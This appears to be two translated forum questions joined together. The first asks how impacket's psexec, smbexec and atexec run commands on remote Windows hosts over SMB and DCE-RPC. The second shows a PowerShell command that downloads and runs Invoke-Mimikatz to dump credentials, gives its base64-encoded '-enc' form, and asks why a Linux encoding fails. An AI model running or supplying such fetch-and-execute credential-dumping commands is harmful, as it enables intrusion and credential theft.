我试图了解通过 impacket 脚本在 Windows 上执行远程命令的所有可用方法:
https://www.coresecurity.com/corelabs-research/open-source-tools/impacket
https://github.com/CoreSecurity/impacket
我理解 psexec.py 和 smbexec.py 的高级解释,它们如何在远程端创建服务并运行命令,cmd.exe -c但我无法理解如何通过 SMB 在远程 Windows 主机上创建服务。smb 不应该主要用于文件传输和打印机共享吗?看源码我在注释中看到他们使用DCEPC来创建这个服务,这是smb协议的一部分吗?我发现 DCEPC 上的所有资源都令人困惑,并且没有关注其服务创建功能。查看atexec.py的源代码,它说它与windows主机的任务调度程序服务交互,也是通过DCEPC。它可以用于与远程盒子上运行的所有服务进行交互吗?
谢谢!
我想在 powershell 中执行 base64 编码的命令。例如,我从这个 github 存储库中获取了一个命令: https: //gist.github.com/gfoss/ca6aa37f97fd400ff14f。运行 mimikatz :
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m
Run Code Online (Sandbox Code Playgroud)
如果我直接在 powershell 提示符下运行它,它就会正常工作。检查base64编码版本,我发现它也可以正常工作:
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==
Run Code Online (Sandbox Code Playgroud)
但是,我不确定该字符串是如何编码的。如果我尝试在 Linux 中对其进行编码,我会得到一个不同的字符串(我只是更改了引号以防止 bash 解释 $):
echo -e 'IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
rSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m' | openssl enc -base64 -A
SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vUG93ZXJTaGVsbE1hZmlhL1Bvd2VyU3Bsb2l0L21hc3Rlci9FeGZpbHRyYXRpb24vSW52b2tlLU1pbWlrYXR6LnBzMSIpOyAkbSA9IEludm9rZS1NaW1pa2F0eiAtRHVtcENyZWRzOyAkbQo=
Run Code Online (Sandbox Code Playgroud)
当我尝试使用 powershell -enc 运行该编码时,该编码失败。
我应该使用什么编码来使字符串与powershell完全兼容?